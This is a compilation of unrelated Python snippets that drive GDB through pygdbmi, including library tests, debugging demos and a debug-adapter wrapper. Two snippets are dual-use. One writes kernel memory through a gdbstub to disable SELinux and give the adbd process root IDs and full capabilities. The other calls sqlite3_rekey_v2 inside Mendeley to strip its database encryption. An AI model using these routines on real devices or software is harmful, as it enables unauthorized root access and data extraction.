def main(verbose=True): """Build and debug an application programatically For a list of GDB MI commands, see https://www.sourceware.org/gdb/onlinedocs/gdb/GDB_002fMI.html """ # Build C program subprocess.check_output(["make", "-C", SAMPLE_C_CODE_DIR, '--quiet']) # Initialize object that manages gdb subprocess gdbmi = GdbController(verbose=verbose) # Send gdb commands. Gdb machine interface commands are easier to script around, # hence the name "machine interface". # Responses are automatically printed as they are received if verbose is True. # Responses are returned after writing, by default. # Load the file responses = gdbmi.write('-file-exec-and-symbols %s' % SAMPLE_C_BINARY) # Get list of source files used to compile the binary responses = gdbmi.write('-file-list-exec-source-files') # Add breakpoint responses = gdbmi.write('-break-insert main') # Run responses = gdbmi.write('-exec-run') responses = gdbmi.write('-exec-next') responses = gdbmi.write('-exec-next') responses = gdbmi.write('-exec-continue') gdbmi.exit()
def remove_gdb_controller(self, controller: GdbController) -> List[str]: try: controller.exit() except Exception: logger.error(traceback.format_exc()) orphaned_client_ids = self.controller_to_client_ids.pop(controller, []) return orphaned_client_ids
def test_controller(self): """Build a simple C program, then run it with GdbController and verify the output is parsed as expected""" SAMPLE_C_CODE_DIR = os.path.join( os.path.dirname(os.path.realpath(__file__)), 'sample_c_app') SAMPLE_C_BINARY = os.path.join(SAMPLE_C_CODE_DIR, 'a.out') # Build C program subprocess.check_output(["make", "-C", SAMPLE_C_CODE_DIR, '--quiet']) # Initialize object that manages gdb subprocess gdbmi = GdbController() # Load the binary and its symbols in the gdb subprocess responses = gdbmi.write('-file-exec-and-symbols %s' % SAMPLE_C_BINARY, timeout_sec=2) # Verify output was parsed into a list of responses assert (len(responses) != 0) response = responses[0] assert (set(response.keys()) == set( ['message', 'type', 'payload', 'stream', 'token'])) assert (response['message'] == 'thread-group-added') assert (response['type'] == 'notify') assert (response['payload'] == {'id': 'i1'}) assert (response['stream'] == 'stdout') assert (response['token'] == None) responses = gdbmi.write( ['-file-list-exec-source-files', '-break-insert main']) assert (len(responses) != 0) # Close gdb subprocess responses = gdbmi.exit() assert (responses is None) assert (gdbmi.gdb_process is None)
def test_controller(self): """Build a simple C program, then run it with GdbController and verify the output is parsed as expected""" # Initialize object that manages gdb subprocess gdbmi = GdbController() c_hello_world_binary = self._get_c_program("hello", "pygdbmiapp.a") if USING_WINDOWS: c_hello_world_binary = c_hello_world_binary.replace("\\", "/") # Load the binary and its symbols in the gdb subprocess responses = gdbmi.write("-file-exec-and-symbols %s" % c_hello_world_binary, timeout_sec=1) # Verify output was parsed into a list of responses assert len(responses) != 0 response = responses[0] assert set(response.keys()) == { "message", "type", "payload", "stream", "token" } assert response["message"] == "thread-group-added" assert response["type"] == "notify" assert response["payload"] == {"id": "i1"} assert response["stream"] == "stdout" assert response["token"] is None responses = gdbmi.write( ["-file-list-exec-source-files", "-break-insert main"], timeout_sec=3) assert len(responses) != 0 responses = gdbmi.write(["-exec-run", "-exec-continue"], timeout_sec=3) # Test GdbTimeoutError exception got_timeout_exception = False try: gdbmi.get_gdb_response(timeout_sec=0) except GdbTimeoutError: got_timeout_exception = True assert got_timeout_exception is True # Close gdb subprocess responses = gdbmi.exit() assert responses is None assert gdbmi.gdb_process is None # Test ValueError exception self.assertRaises(ValueError, gdbmi.write, "-file-exec-and-symbols %s" % c_hello_world_binary) # Respawn and test signal handling gdbmi.spawn_new_gdb_subprocess() responses = gdbmi.write("-file-exec-and-symbols %s" % c_hello_world_binary, timeout_sec=1) responses = gdbmi.write(["-break-insert main", "-exec-run"])
def try_nums(nums): numString = arrayToString(nums) gdbmi = GdbController() gdbmi.write('file bomb', timeout_sec=5) gdbmi.write('break explode_bomb', timeout_sec=5) gdbmi.write('run', timeout_sec=5) time.sleep(1.5) gdbmi.interrupt_gdb() gdbmi.write('call (void) initialize_phase6()', timeout_sec=5) response = gdbmi.write('call (void) phase6("{0}")'.format(numString), timeout_sec=5) for mess in response: if mess['message'] == 'stopped': gdbmi.exit() return numString + "is not the value." gdbmi.exit() return "! " + numString + "is the value!"
class GDB: def __init__(self): self.gdbmi = None self.timeout = 10 self.command = "" self.opLog = None def gdbStart(self, gdbPath): #open log file logFile = 'copy_to_flash_' + str( datetime.now().strftime("%Y-%m-%d_%H:%M:%S")) + '.log' self.opLog = open(logFile, 'w+') #open gdb self.gdbmi = GdbController(gdb_path=gdbPath, gdb_args=None, time_to_check_for_additional_output_sec=4.5, rr=False, verbose=False) #print('started gdb') def gdbSendCommand(self, command): self.command = command if self.gdbmi is None: return False #send command and get output. response = self.gdbmi.write(command, timeout_sec=self.timeout) if len(response) == 0: return False return response def gdbClose(self): #close gdb if self.gdbmi is None: return False self.gdbmi.send_signal_to_gdb("SIGINT") self.gdbmi.send_signal_to_gdb(2) self.gdbmi.interrupt_gdb() assert self.gdbmi.exit() is None assert self.gdbmi.gdb_process is None self.opLog.close() return True def getResponseTypeMsg(self, response): TypeMsg = "" typeMsgNum = str(response).count("payload") #get exact gdb console response. for line in range(typeMsgNum): if (str(response[line]['type'])) == "console": TypeMsg += (str(response[line]['payload'])) self.opLog.write("The output of " + self.command + " :\n" + TypeMsg + "\n") return TypeMsg def gdbSendSignal(self, sig): if self.gdbmi is None: return False self.gdbmi.send_signal_to_gdb(sig)
class ProbeSession(object): def __init__(self, port, host_ip="localhost"): self.session = GdbController(gdb_path="arm-none-eabi-gdb") # Connect to the debug probe self.session.write("target remote %s:%s" % (host_ip, port)) def __del__(self): # Stop the running GDB server self.session.exit() def register_read(self, reg): reg = reg.lower() if reg not in reg_list: raise "Specified register is not valid for this target." output = self.session.write("monitor reg %s" % reg) assert (output[1]['type'] == 'target') value = reg_value.match(output[1]['payload'])['value'] return int(value, 16)
def main(verbose=True): """Build and debug an application programatically For a list of GDB MI commands, see https://www.sourceware.org/gdb/onlinedocs/gdb/GDB_002fMI.html """ # Build C program find_executable(MAKE_CMD) if not find_executable(MAKE_CMD): print( 'Could not find executable "%s". Ensure it is installed and on your $PATH.' % MAKE_CMD) exit(1) subprocess.check_output([MAKE_CMD, "-C", SAMPLE_C_CODE_DIR, "--quiet"]) # Initialize object that manages gdb subprocess gdbmi = GdbController(verbose=verbose) # Send gdb commands. Gdb machine interface commands are easier to script around, # hence the name "machine interface". # Responses are automatically printed as they are received if verbose is True. # Responses are returned after writing, by default. # Load the file responses = gdbmi.write("-file-exec-and-symbols %s" % SAMPLE_C_BINARY) # Get list of source files used to compile the binary responses = gdbmi.write("-file-list-exec-source-files") # Add breakpoint responses = gdbmi.write("-break-insert main") # Run responses = gdbmi.write("-exec-run") responses = gdbmi.write("-exec-next") responses = gdbmi.write("-exec-next") responses = gdbmi.write("-exec-continue") # noqa: F841 # gdbmi.gdb_process will be None because the gdb subprocess (and its inferior # program) will be terminated gdbmi.exit()
def test_controller(self): """Build a simple C program, then run it with GdbController and verify the output is parsed as expected""" # Initialize object that manages gdb subprocess gdbmi = GdbController() c_binary_path = self._get_c_program() # Load the binary and its symbols in the gdb subprocess responses = gdbmi.write('-file-exec-and-symbols %s' % c_binary_path, timeout_sec=1) # Verify output was parsed into a list of responses assert (len(responses) != 0) response = responses[0] assert (set(response.keys()) == set( ['message', 'type', 'payload', 'stream', 'token'])) assert (response['message'] == 'thread-group-added') assert (response['type'] == 'notify') assert (response['payload'] == {'id': 'i1'}) assert (response['stream'] == 'stdout') assert (response['token'] is None) responses = gdbmi.write( ['-file-list-exec-source-files', '-break-insert main']) assert (len(responses) != 0) responses = gdbmi.write(['-exec-run', '-exec-continue'], timeout_sec=3) found_match = False for r in responses: if r.get( 'payload', '' ) == ' leading spaces should be preserved. So should trailing spaces. ': found_match = True assert (found_match is True) # Close gdb subprocess responses = gdbmi.exit() assert (responses is None) assert (gdbmi.gdb_process is None) # Test NoGdbProcessError exception got_no_process_exception = False try: responses = gdbmi.write('-file-exec-and-symbols %s' % c_binary_path) except NoGdbProcessError: got_no_process_exception = True assert (got_no_process_exception is True)
class GDBInspector: """Wrapper around pygdbmi.gdbcontroller.GdbController.""" def __init__(self, binary, corefile='core', path=None): self._binary = os.path.join(path, binary) if path else binary self._corefile = os.path.join(path, corefile) if path else corefile self._gdb = None async def __aenter__(self): await self.connect() return self async def __aexit__(self, exc_type, exc_val, exc_tb): await self.exit() def __getattr__(self, item): return getattr(self._gdb, item) @as_future def connect(self): self._gdb = GdbController(gdb_args=self.gdb_args) @as_future def exit(self): return self._gdb.exit() @property def gdb_args(self): args = [self._binary, self._corefile] args += REQUIRED_GDB_FLAGS return args @as_future def write(self, *args, **kwargs): return self._gdb.write(*args, **kwargs) def corefile_exists(self): return os.path.isfile(self._corefile)
def do_processing(executable, arguments, source_file_name, source_file_path, call_fail_dict): error_lineno = -1 exec_args = arguments.split(" ") if len(exec_args) != 0: gdb_exec_args = [ '-nx', '--quiet', '-interpreter=mi2', '--args', executable ] + exec_args else: gdb_exec_args = [ '-nx', '--quiet', '-interpreter=mi2', '--args', executable ] #print gdb_exec_args gdbmi = GdbController(gdb_args=gdb_exec_args) responses = gdb_read(gdb_controller=gdbmi) gdbmi.write('set environment LD_PRELOAD={0}'.format(library), read_response=False) #print "\n",call_fail_dict for call, fail_nums in call_fail_dict.iteritems(): #We will be setting the environment variables for failing libc calls over here call_nums = ','.join(map(str, fail_nums)) gdbmi.write('set environment {0}={1}'.format(call, call_nums), read_response=False) #print 'set environment {0}={1}'.format(call_to_fail, call_nums) gdbmi.write('br main', read_response=False) responses = gdb_read(gdb_controller=gdbmi) #pprint(responses) #print("\n\n") gdbmi.write('run', read_response=False) responses = gdb_read(gdb_controller=gdbmi) #pprint(responses) #print("\n\n") # The program execution stops here because break on main would have reached break_outer = False abrupt = False while (True): gdbmi.write('call flush_gcov()', read_response=False) gdbmi.write('next', read_response=False) responses = gdb_read(gdb_controller=gdbmi) #print "test" #pprint(responses) #print("\n\n") for response in responses: if response['message'] == 'stopped' \ and response['payload']['reason'] == 'end-stepping-range' \ and response['payload']['frame']['file'] == source_file_name: error_lineno = int(response['payload']['frame']['line']) #pprint(response) elif response['message'] == 'stopped' and response['payload'][ 'reason'] == 'exited-signalled': break_outer = True abrupt = True #pprint(response) elif response['message'] == 'stopped' and response['payload'][ 'reason'] == 'exited-normally': break_outer = True #pprint(response) elif response['message'] == 'stopped' and response['payload'][ 'reason'] == 'exited': break_outer = True #pprint(response) if break_outer: gdbmi.write('call flush_gcov()', read_response=False) break gdbmi.exit() process = subprocess.Popen(['gcov', '-i', source_file_path], stdout=subprocess.PIPE) out, err = process.communicate() with open('{0}.{1}'.format(source_file_name, 'gcov'), 'r') as gcovfile: gcovdata = gcovfile.read().split('\n') exec_string = get_linecount_string(gcovdata, source_file_name, abrupt, call_fail_dict) # Delete gcda file subprocess.call( ['rm', '-f', '{0}.{1}'.format(source_file_path[:-2], 'gcda')]) # Delete gcov file subprocess.call(['rm', '-f', '{0}.{1}'.format(source_file_name, 'gcov')]) return (exec_string, abrupt, error_lineno)
class GDB_stub_controller(object): def __init__(self, options): self.options = options self.internal_timeout = 1 self.verb = True if options.debug else False logging.info( " [+] Start the GDB controller and attach it to the remote target") logging.info(" [+] GDB additional timeout value is %d" % int(options.timeout)) self.gdb = GdbController(time_to_check_for_additional_output_sec=int( options.timeout), verbose=self.verb) response = self.gdb.write("target remote :1234") isrunning = 0 for f in response: if ("payload" in f) and (f["payload"] != None) and ("Remote debugging" in f["payload"]): logging.info(" [+] GDB server reached. Continue") isrunning = 1 break if isrunning == 0: logging.warning("GDB server not reachable. Did you start it?") self.stop() raise Exception("GDB server not reachable. Did you start it?") def stop(self): logging.info(" [+] Detach and stop GDB controller") self.gdb.exit() def write_mem(self, addr, val): logging.debug(" [+] gdb.write addr: %#x value : %#x" % (addr, val)) self.gdb.write("set *(unsigned int*) (%#x) = %#x" % (addr, val), timeout_sec=self.internal_timeout) def read_mem(self, addr, rec=0): try: logging.debug(" [+] gdb.read addr [0x%x]: ... " % (addr)) r = self.gdb.write("x/xw %#x" % addr, timeout_sec=self.internal_timeout)[1].get( 'payload').split('\\t')[1].replace( "\\n", "") logging.debug(" [+] gdb.read addr [0x%x]: %s " % (addr, r)) r = int(r, 16) return r except (GdbTimeoutError, TypeError, ValueError, NoGdbProcessError, IndexError, AttributeError): if (rec == 0): logging.warning( "Inconsistente GDB response. (GDB timeout or bad format). New try." ) self.read_mem(addr, rec=1) else: logging.warning( "Inconsistente GDB response. (GDB timeout or bad format). Quit" ) self.stop() raise Exception("GDB timeout reached. Quit") def read_str(self, addr): r = self.gdb.write("x/s %#x" % addr, timeout_sec=self.internal_timeout)[1].get( 'payload').split('\\t')[1].replace("\\n", "") logging.debug(" [+] gdb.read str [0x%x]: %s " % (addr, r)) return r def find(self, name): response = self.gdb.write("find 0xc0000000, +0x40000000, \"%s\"" % name, raise_error_on_timeout=True, read_response=True, timeout_sec=int(options.timeout)) response.pop(0) # response[0] contains the gdb command line addresses = [] # parse gdb response for m in response: if m.get('payload') != None and m.get('payload')[:-2].startswith( '0x'): val = int(m.get('payload')[:-2], 16) addresses.append(val) # return a list of addresses found. return addresses ''' This function sets SELinux enforcement to permissive ''' def disable_selinux(self): logging.info("[+] Disable SELinux") logging.debug("[+] Offsets are %s - %s - %s " % (hex(self.options.offset_selinux[0]), hex(self.options.offset_selinux[0]), hex(self.options.offset_selinux[0]))) self.write_mem(self.options.offset_selinux[0], 0) self.write_mem(self.options.offset_selinux[1], 0) self.write_mem(self.options.offset_selinux[2], 0) ''' This function sets all capabilities of a task to 1 ''' def set_full_capabilities(self, cred_addr): logging.info("[+] Set full capabilities") for ofs in [0x30, 0x34, 0x38, 0x3c, 0x40, 0x44]: self.write_mem(cred_addr + ofs, 0xffffffff) ''' This function sets all Linux IDs of a task to 0 (root user) @effective: if False, effective IDs are not modified ''' def set_root_ids(self, cred_addr, effective=True): logging.info("[+] Set root IDs") for ofs in [0x04, 0x08, 0x0c, 0x10, 0x1c, 0x20]: # uid, gid, suid,sgid, fsuid, fsgid self.write_mem(cred_addr + ofs, 0x00000000) if effective: self.write_mem(cred_addr + 0x14, 0x00000000) # euid self.write_mem(cred_addr + 0x18, 0x00000000) # egid else: logging.info("[+] Note: effective ID have not been changed") ''' This function returns the task_struct addr for a given process name ''' def get_process_task_struct(self, process): logging.info(" [+] Get address aligned whose process name is: [%s]" % process) logging.info( " [+] This step can take a while (GDB timeout: %dsec). Please wait..." % int(options.timeout)) addresses = self.find(process) candidates = [] for a in addresses: if a % 16 == self.options.offset_to_comm % 16: candidates.append(a) for c in candidates: magic_cred_ptr1 = self.read_mem(c - 8) magic_cred_ptr2 = self.read_mem(c - 4) if (magic_cred_ptr1 == magic_cred_ptr2): magic_addr = c return magic_addr - self.options.offset_to_comm return None ''' This function returns the cred_struct address of adbd process from a given stager process ''' def get_adbd_cred_struct(self, stager_addr): logging.info("[+] Search adbd task struct in the process hierarchy") adbd_cred_ptr = "" cur = stager_addr while True: parent_struct_addr = self.read_mem(cur + self.options.offset_to_comm - self.options.offset_to_parent) print(hex(parent_struct_addr)) parent_struct_name = self.read_str(parent_struct_addr + self.options.offset_to_comm) if (str(parent_struct_name) == r'\"adbd\"'): adbd_cred_ptr = self.read_mem(parent_struct_addr + self.options.offset_to_comm - 4) break cur = parent_struct_addr return adbd_cred_ptr
class GdbWrapper(): def __init__(self, pid): self._pid = pid self._Heap = None self._COLORS = {} self._Maps = [] self._update_color() def _attach(self): self.gdbmi = GdbController() init_cmds = ["set exception-verbose on", "source ~/.gdbinit", "set print element 0", "attach {}".format(str(self._pid)), "set charset ASCII"] for cmd in init_cmds: self.gdbmi.write(cmd) def _detach(self): self.gdbmi.exit() def _parse_single(self, single): if "=" in single: single = re.sub("\(.*?\)|\<.*?\>", "", single).strip().replace(" ", "").split("=") if single[-1].startswith("0x") or single[-1].startswith("0X"): single[-1] = int(single[-1], 16) elif single[-1].isalnum(): single[-1] = int(single[-1]) else: single[-1] = str(single[-1]) return {single[0]:single[-1]} else: if single.startswith("0x") or single.startswith("0X"): single = int(single, 16) elif single.isalnum(): single = int(single) else: single = str(single) return single def _parse_all(self, key_values): key_values = key_values.replace(" ", "").replace("\n", "") key_values = re.sub("\(.*?\)|\<.*?\>", "", key_values) key_values = key_values.replace("\\\\","\\").replace("\\\"", "\"") parsed_list = [] if "{" in key_values and "}" in key_values: index = [] while "{" in key_values and "}" in key_values: for x in range(0, len(key_values)): if key_values[x] == "{": index.append(x) elif key_values[x] == "}": if len(index) > 1: index.pop(-1) continue else: left = index[-1] index.pop(-1) right = x deeper = copy.copy(key_values) deeper = deeper[left + 1: right] value = self._parse_all(deeper) name_left = left - 1 name_right = left while name_left > 0: if key_values[name_left] == '=': name_right = name_left if name_left == 0: break if key_values[name_left] == ',' or key_values[name_left] == '{': name_left += 1 break name_left -= 1 name = key_values[name_left: name_right] parsed_list.append({name: value}) key_values = key_values[:name_left] + key_values[right + 1:] break parsed_ret = {} for dict_node in parsed_list: parsed_ret = dict(parsed_ret.items() + dict_node.items()) if len(key_values.strip().replace(" ", "")) > 0: deeper = self._parse_all(key_values) if type(deeper).__name__ == "dict": parsed_ret = dict(parsed_ret.items() + deeper.items()) else: log.debug(str(deeper)) return parsed_ret elif "{" not in key_values and "}" not in key_values: is_dict = False parsed = [] singles = key_values.split(",") while '' in singles: singles.remove('') for single in singles: single_parse = self._parse_single(single) parsed.append(single_parse) for x in parsed: if type(x).__name__ == "dict": is_dict = True if is_dict == True: dict_ret = {} for x in parsed: if type(x).__name__ == "dict": dict_ret = dict(dict_ret.items() + x.items()) elif x != '': dict_ret = dict(dict_ret.items() + {x: x}.items()) return dict_ret else: return parsed def _update_color(self): raw_output = self.exec_cmds("vmmap").split("\n") # get STACK_COLOR self._COLORS["STACK"] = copy.copy( raw_output[0][raw_output[0].find("STACK") - 6: raw_output[0].find("STACK")]).strip() self._COLORS["HEAP"] = copy.copy( raw_output[0][raw_output[0].find("HEAP") - 6: raw_output[0].find("HEAP")]).strip() self._COLORS["CODE"] = copy.copy( raw_output[0][raw_output[0].find("CODE") - 6: raw_output[0].find("CODE")]).strip() self._COLORS["DATA"] = copy.copy( raw_output[0][raw_output[0].find("DATA") - 6: raw_output[0].find("DATA")]).strip() self._COLORS["RWX"] = copy.copy(raw_output[0][raw_output[0].find("RWX") - 6: raw_output[0].find("RWX")]).strip() self._COLORS["RODATA"] = copy.copy( raw_output[0][raw_output[0].find("RODATA") - 6: raw_output[0].find("RODATA")]).strip() self._COLORS["RESET"] = copy.copy( raw_output[0][raw_output[0].find("STACK") + 5: raw_output[0].find("STACK") + 10]).strip() def exec_cmds(self, cmds, parsed = False): #cmd( str ) and cmds( [] ) are both supported self._attach() if type(cmds).__name__ == "str": cmds = [cmds] ret = [] for cmd in cmds: start_ret = False cmd_ret = "" for x in self.gdbmi.write(cmd): if type(x["payload"]).__name__ == 'unicode': if start_ret == True: cmd_ret += (x["payload"].encode("unicode-escape").decode("unicode-escape").encode("ascii")) try: if cmd in x["payload"].encode("unicode-escape").decode("unicode-escape").encode("ascii"): start_ret = True except: pass elif type(x["payload"]).__name__ == 'str': if start_ret == True: cmd_ret += (x["payload"]) try: if cmd in x["payload"]: start_ret = True except: pass ret.append(cmd_ret.replace("\\n", "\n")) self._detach() if len(ret) == 1: if parsed == False: return ret[0] try: toparse = copy.copy(ret) parsed_ret = self._parse_all(toparse[0]) if type(parsed_ret).__name__ == "list" and len(parsed_ret) == 1: return parsed_ret[0] return parsed_ret except Exception,e: pass else:
def attempt(times, mendeley, db, save_path, debug=0): gdb = GdbController(mendeley, ['--debug']) var_count = 0 try: gdb.write('b sqlite3_open_v2', read_response=False) validWithKeyword(gdb, 'Breakpoint', debug=debug) gdb.write('r', read_response=False) validWithKeyword(gdb, 'sqlite3_open_v2', 5, debug=debug) response = None while True: response = gdb.write('x/s $rdi') if db in response[0]['payload']: if debug: print(response, file=sys.stderr) break gdb.write('c', read_response=False) validWithKeyword(gdb, 'sqlite3_open_v2', 5, debug=debug) var_count = setPath(gdb, save_path, var_count) for i in range(1, times): gdb.write('c', read_response=False) validWithKeyword(gdb, 'sqlite3_open_v2', 5, debug=debug) response = gdb.write('x/s $rdi') if db not in response[0]['payload']: raise ValidException('Attemp failed') var_count = setPath(gdb, save_path, var_count) gdb.write('b sqlite3_key', read_response=False) validWithKeyword(gdb, 'Breakpoint', debug=debug) gdb.write('c', read_response=False) validWithKeyword(gdb, 'sqlite3_key', debug=debug) response = gdb.write('p/x $rdi') if debug: print(response, file=sys.stderr) addr = getResult(response[0]['payload']) gdb.write('fin', read_response=False) validWithKeyword(gdb, 'sqlite3_key', debug=debug) response = gdb.write('p (int) sqlite3_rekey_v2(%s, 0, 0, 0)' % addr) if debug: print(response, file=sys.stderr) rtn = getResult(response[0]['payload']) if rtn != '0': raise ValidException('Attempt failed') except ValidException as e: print(e) return False except Exception: traceback.print_exc() return False finally: gdb.exit() return True
def test_controller(self): """Build a simple C program, then run it with GdbController and verify the output is parsed as expected""" # Initialize object that manages gdb subprocess gdbmi = GdbController() c_hello_world_binary = self._get_c_program('hello', 'pygdbmiapp.a') if USING_WINDOWS: c_hello_world_binary = c_hello_world_binary.replace('\\', '/') # Load the binary and its symbols in the gdb subprocess responses = gdbmi.write('-file-exec-and-symbols %s' % c_hello_world_binary, timeout_sec=1) # Verify output was parsed into a list of responses assert(len(responses) != 0) response = responses[0] assert(set(response.keys()) == set(['message', 'type', 'payload', 'stream', 'token'])) assert(response['message'] == 'thread-group-added') assert(response['type'] == 'notify') assert(response['payload'] == {'id': 'i1'}) assert(response['stream'] == 'stdout') assert(response['token'] is None) responses = gdbmi.write(['-file-list-exec-source-files', '-break-insert main']) assert(len(responses) != 0) responses = gdbmi.write(['-exec-run', '-exec-continue'], timeout_sec=3) found_match = False for r in responses: if r.get('payload', '') == ' leading spaces should be preserved. So should trailing spaces. ': found_match = True assert(found_match is True) # Test GdbTimeoutError exception got_timeout_exception = False try: gdbmi.get_gdb_response(timeout_sec=0) except GdbTimeoutError: got_timeout_exception = True assert(got_timeout_exception is True) # Close gdb subprocess if not USING_WINDOWS: # access denied on windows gdbmi.send_signal_to_gdb('SIGINT') gdbmi.send_signal_to_gdb(2) gdbmi.interrupt_gdb() responses = gdbmi.exit() assert(responses is None) assert(gdbmi.gdb_process is None) # Test NoGdbProcessError exception got_no_process_exception = False try: responses = gdbmi.write('-file-exec-and-symbols %s' % c_hello_world_binary) except NoGdbProcessError: got_no_process_exception = True assert(got_no_process_exception is True) # Respawn and test signal handling gdbmi.spawn_new_gdb_subprocess() responses = gdbmi.write('-file-exec-and-symbols %s' % c_hello_world_binary, timeout_sec=1) responses = gdbmi.write(['-break-insert main', '-exec-run']) if not USING_WINDOWS: gdbmi.interrupt_gdb() gdbmi.send_signal_to_gdb(2) gdbmi.send_signal_to_gdb('sigTeRm') try: gdbmi.send_signal_to_gdb('sigterms') # exception must be raised assert(False) except ValueError: assert(True) responses = gdbmi.write('-exec-run') if not USING_WINDOWS: gdbmi.send_signal_to_gdb('sigstop')
class GdbHelper: _WRITE_METHODS = { 1: "write_byte", 4: "write_dword", 8: "write_qword" } def __init__(self, arch: str = "x86", timeout: int = 180): self.gdb = GdbController(time_to_check_for_additional_output_sec=timeout) if arch == "x86_64": self.gdb.write("set arch i386:x86-64:intel") def stop(self): self.gdb.exit() def start(self): self.gdb.write("target remote :1234") def write(self, address: int, value: int, size: int=1): getattr(self, GdbHelper._WRITE_METHODS.get(size, "write_byte"))(address, value) def write_byte(self, address: int, value: int): self.gdb.write("set *(unsigned char*) (%#x) = %#x" % (address, value)) def write_dword(self, address: int, value: int): self.gdb.write("set *(unsigned int*) (%#x) = %#x" % (address, value)) def write_qword(self, address: int, value: int): self.gdb.write("set *(unsigned long*) (%#x) = %#x" % (address, value)) def read_dword(self, address: int) -> int: response = self.gdb.write("x/wx %#x" % address)[1]["payload"] return int(response.split("\\t")[1].replace("\\n", ""), 16) def read_addr(self, address: int) -> int: response = self.gdb.write("x/a %#x" % address)[1]["payload"] return int(response.split("\\t")[1].replace("\\n", ""), 16) def read_str(self, address: int) -> str: response = self.gdb.write("x/s %#x" % address)[1]["payload"] return response.split("\\t")[1].replace("\\n", "").replace("\\\"", "") def read_ip(self) -> int: response = self.gdb.write("p/x $pc")[1]["payload"] return int(response.split(" = ")[1].replace("\\n", ""), 16) def find(self, query: str) -> List[int]: addresses = [] response = self.gdb.write("find %s" % query, timeout_sec=180) for subset in response: payload = subset.get("payload") if payload is not None and payload.startswith("0x"): addresses.append(int(payload.replace("\\n", ""), 16)) return addresses
def test_controller(self): """Build a simple C program, then run it with GdbController and verify the output is parsed as expected""" # Initialize object that manages gdb subprocess gdbmi = GdbController() c_hello_world_binary = self._get_c_program("hello", "pygdbmiapp.a") if USING_WINDOWS: c_hello_world_binary = c_hello_world_binary.replace("\\", "/") # Load the binary and its symbols in the gdb subprocess responses = gdbmi.write("-file-exec-and-symbols %s" % c_hello_world_binary, timeout_sec=1) # Verify output was parsed into a list of responses assert len(responses) != 0 response = responses[0] assert set(response.keys()) == { "message", "type", "payload", "stream", "token" } assert response["message"] == "thread-group-added" assert response["type"] == "notify" assert response["payload"] == {"id": "i1"} assert response["stream"] == "stdout" assert response["token"] is None responses = gdbmi.write( ["-file-list-exec-source-files", "-break-insert main"]) assert len(responses) != 0 responses = gdbmi.write(["-exec-run", "-exec-continue"], timeout_sec=3) found_match = False print(responses) for r in responses: if (r.get( "payload", "" ) == " leading spaces should be preserved. So should trailing spaces. " ): found_match = True assert found_match is True # Test GdbTimeoutError exception got_timeout_exception = False try: gdbmi.get_gdb_response(timeout_sec=0) except GdbTimeoutError: got_timeout_exception = True assert got_timeout_exception is True # Close gdb subprocess if not USING_WINDOWS: # access denied on windows gdbmi.send_signal_to_gdb("SIGINT") gdbmi.send_signal_to_gdb(2) gdbmi.interrupt_gdb() responses = gdbmi.exit() assert responses is None assert gdbmi.gdb_process is None # Test NoGdbProcessError exception got_no_process_exception = False try: responses = gdbmi.write("-file-exec-and-symbols %s" % c_hello_world_binary) except NoGdbProcessError: got_no_process_exception = True assert got_no_process_exception is True # Respawn and test signal handling gdbmi.spawn_new_gdb_subprocess() responses = gdbmi.write("-file-exec-and-symbols %s" % c_hello_world_binary, timeout_sec=1) responses = gdbmi.write(["-break-insert main", "-exec-run"]) if not USING_WINDOWS: gdbmi.interrupt_gdb() gdbmi.send_signal_to_gdb(2) gdbmi.send_signal_to_gdb("sigTeRm") try: gdbmi.send_signal_to_gdb("sigterms") # exception must be raised assert False except ValueError: assert True responses = gdbmi.write("-exec-run") if not USING_WINDOWS: gdbmi.send_signal_to_gdb("sigstop")
class GDBRequest: def __init__(self): self.gdbmi = None self.disconnected = False def gdbmi_write(self, cmd): if self.gdbmi is None: raise GDBException('GDB terminated') debug(f'GDBMI write: "{cmd}"\n') self.gdbmi.write(cmd, read_response=False) def process(self, json_cmd): getattr(self, json_cmd["type"])(json_cmd) def request(self, json_cmd): fname = f'{json_cmd["type"]}_{json_cmd["command"]}' kwds = json_cmd.get('arguments', {}) if hasattr(self, fname): getattr(self, fname)(**kwds) else: getattr(self, f'{json_cmd["type"]}_default')(json_cmd['command'], **kwds) def request_default(self, command, **kwds): pass def request_initialize(self, **kwds): pass def request_launch(self, gdbpath=None, debugger_args=None, env=None, cwd=None, target=None, **kwds): self.gdbmi = GdbController() self.gdbmi_write("-gdb-set target-async on") if cwd: self.gdbmi_write(f'-environment-cd {cwd}') if target: self.gdbmi_write(f'-file-exec-and-symbols "{target}"') def request_configurationDone(self): self.gdbmi_write('-exec-run') def request_setBreakpoints(self, source, breakpoints, lines, **kwds): self.gdbmi_write(f'-break-delete') for b in breakpoints: self.gdbmi_write( f'-break-insert -f "{source["path"]}:{b["line"]}"') def request_threads(self): self.gdbmi_write('-thread-info') def request_stackTrace(self, threadId=None): command = "-stack-list-frames" if threadId is not None: command += f' --thread {threadId}' self.gdbmi_write(command) def request_continue(self, reverse=False, threadId=None): self.gdbmi_write('-exec-continue' + (" --reverse" if reverse else "")) def request_stepBack(self, threadId): return self.request_step(reverse=True, threadId=threadId) def request_stepIn(self, threadId): return self.request_step(reverse=False, threadId=threadId) def request_next(self, threadId=None, reverse=False): self.gdbmi_write('-exec-next' + (" --reverse" if reverse else "")) def request_step(self, threadId=None, reverse=False): self.gdbmi_write('-exec-step' + (" --reverse" if reverse else "")) def request_stepOut(self, threadId=None, reverse=False): self.gdbmi_write('-exec-finish' + (" --reverse" if reverse else "")) def request_evaluate(self, expression, frameId=None, context=None, format=None): if frameId is not None: self.gdbmi_write(f'-data-evaluate-expression "{expression}"') else: threadId, level = frameIdToThreadAndLevel(frameId) self.gdbmi_write( f'-data-evaluate-expression {expression} --thread {threadId} --level {level}' ) # def request_completions(self, text, column, frameId=None, line=None): # self.gdbmi_write(f'-complete {text[:column]}') def request_disconnect(self, restart=False): self.gdbmi_write('-gdb-exit') self.disconnected = True # self.close() def close(self): if self.gdbmi: self.gdbmi.exit() self.gdbmi = None
